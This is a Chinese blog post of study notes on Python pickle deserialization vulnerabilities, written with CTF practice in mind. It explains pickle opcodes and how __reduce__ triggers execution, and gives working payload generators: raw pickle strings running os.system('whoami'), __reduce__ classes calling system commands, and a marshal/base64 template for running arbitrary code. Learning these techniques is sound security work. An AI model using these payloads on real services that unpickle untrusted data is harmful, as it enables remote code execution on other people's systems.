百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

Python 反序列化漏洞学习笔记(python反序列化ctf)

toyiye 2024-06-30 10:02 15 浏览 0 评论

本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理

前言

Python 中有很多能进行序列化的模块,比如 Json、pickle/cPickle、Shelve 、 Marshal

一般 pickle 模块较常使用

在 pickle 模块中 , 常用以下四个方法

  • pickle.dump(obj, file) : 将对象序列化后保存到文件
  • pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
  • pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
  • pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
    注意:file文件需要以 2 进制方式打开,如 wb 、 rb

序列化

  1. 从对象提取所有属性,并将属性转化为键值对
  2. 写入对象的类名
  3. 写入键值对

看到下面这个序列化例子

py3 序列化后结果为:

b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x051ndex\x94\x8c\x03age\x94K\x12ub.'

py2 序列化后结果为:

(i__main__
Test
p0
(dp1
S'age'
p2
I18
sS'name'
p3
S'1ndex'
p4
sb.

这么一大串字符代表什么意思呢?可以简单的与 PHP 反序列化结果做类比 ----> 特定的字符开头帮助解释器指明特定的操作或内容

实际上这是一串 PVM 操作码

以 py2 运行得到的序列化结果 其中某些行的开头的字符具有特殊含义

例如:

cos\nsystem\n(S'whoami'\ntR.

反序列化

  1. 获取 pickle 输入流,也就是上面说的 PVM 码
  2. 重建属性列表
  3. 根据类名创建一个新的对象
  4. 将属性复制到新的对象中

反序列化时,将字符串(pickle 流)转换为对象

与PHP 序列化相似,Python 序列化也是将对象转换成具有特定格式的 字符串(py2)或字节流(py3) ,以便于传输与存储,比如 session

但是在反序列化时又与 PHP 反序列化又有所不同:

  • PHP 反序列化要求源代码中必须存在有问题的类,要求是被反序列化的对象中存在可控参数,具体可看这里
  • 而 Python 反序列化不需要,其只要求被反序列化的字符可控即可造成 RCE,例如:
# Python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."  # 将被反序列化的字符串
pickle.loads(s)  # 反序列化后即可造成命令执行,因此网站对要被反序列化的字符串应该做严格限制

在 Python 中,一切皆对象,因此能使用 pickle 序列化的数据类型有 很多

  • None、True 和 False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被封存

其中文件、套接字、以及代码对象不能被序列化!

Why

Python 反序列化漏洞跟 __reduce__() 魔术方法相关

其类似于 PHP 对象中的 __wakeup() 方法,会在反序列化时自动调用

__reduce__() 魔术方法可以返回一个字符串或者时一个元组。其中返回元组时,第一个参数为 一个可调用对象 ,第二个参数为 该对象所需要的参数

When

关键问题就在 __reduce__ 方法第二种返回方式---元组。在反序列化时自动调用 __reduce__() 方法,该方法会自动调用返回值中的函数模块并执行

例如下面存的代码:

import pickle
import os

class Rce(object): 
    def __reduce__(self):
        return (os.system,('ipconfig',))

a = Rce()
b = pickle.dumps(a)
pickle.loads(b)  # 执行该语句进行反序列化,自动执行 __reduce__ 方法,并且执行 os.system('ipconfig')

注意点: 元类无法在反序列化时调用 __reduce__ 魔术方法 ,简单理解就是没有继承 object 的类

class A():
    pass  # 反序列化时不会调用 __reduce__ 方法
class B(object):
    pass  # 反序列化时会调用 __reduce__ 方法

由于 Python 反序列化时只需要被反序列化的字符串可控(而不需要源代码中存在有安全问题的类)便可造成 RCE

因此我们可以通过如下代码轻松构造 Payload:

import pickle
import os

class Rce(object): 
    def __reduce__(self):
        return (os.system,('ipconfig',))

a = Rce()
b = pickle.dumps(a)
print(b)

特性

  1. 看到如下两种不同的序列化结果:
import pickle
import os
class Rce(object):
	name = "1ndex"
a = Rce()
print(pickle.dumps(a))

结果:

ccopy_reg\n_reconstructor\np0\n(c__main__\nRce\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n.
import pickle
import os
class Rce(object):
	name = "1ndex"
	def __reduce__(self):
		return (os.system,("a",))
a = Rce()
print(pickle.dumps(a))

结果:

cposix\nsystem\np0\n(S'ifconfig'\np1\ntp2\nRp3\n.

然后用下面这个代码执行反序列化:

import pickle
str = "填写上面序列化后的结果"
pickle.loads(str)

一 对应的结果反序列化:

AttributeError: 'module' object has no attribute 'Rce'  # 报错

二 对应的结果反序列化成功

一般来说反序列化时如果源代码中没有对应的类 Rce ,是会直接报错的(也就是上面一的结果),但是为什么在反序列化二的时候却能成功呢?源代码中明明也没有这个 Rce 的类啊

当序列化以及反序列化的过程中碰到一无所知的扩展类型/类的时候,可以通过类中定义的 __reduce__ 方法来告知如何进行序列化或者反序列化

也就是说我们,只要在类中定义一个 reduce 方法,我们就能在反序列化时,让这个类根据我们在__reduce__ 中指定的方式进行序列化(也就会执行 return 中的恶意代码)

这应该就是大佬说的相似:

Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面。

  1. 反序列化执行 reduce 魔术方法,在 return 时,回自动导入源代码中没有引入的模块,例如:
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."  # 将被反序列化的字符串
pickle.loads(s)  # 实际上会执行 os.system('whoami'),但是可以看到源代码中并未导入 os 模块

Solution

  • 严格控制要被反序列化的字符串

利用

执行命令

import pickle
import os
class Rce(object):
	def __reduce__(self):
		return (commands.getoutput,("whoami",))
a = Rce()
print(pickle.dumps(a))

执行任意 Python 代码

import marshal
import base64

def code():
    # 这里放任意想执行的 Python 代码
    pass

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))

私信小编01即可获取大量Python学习资料

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码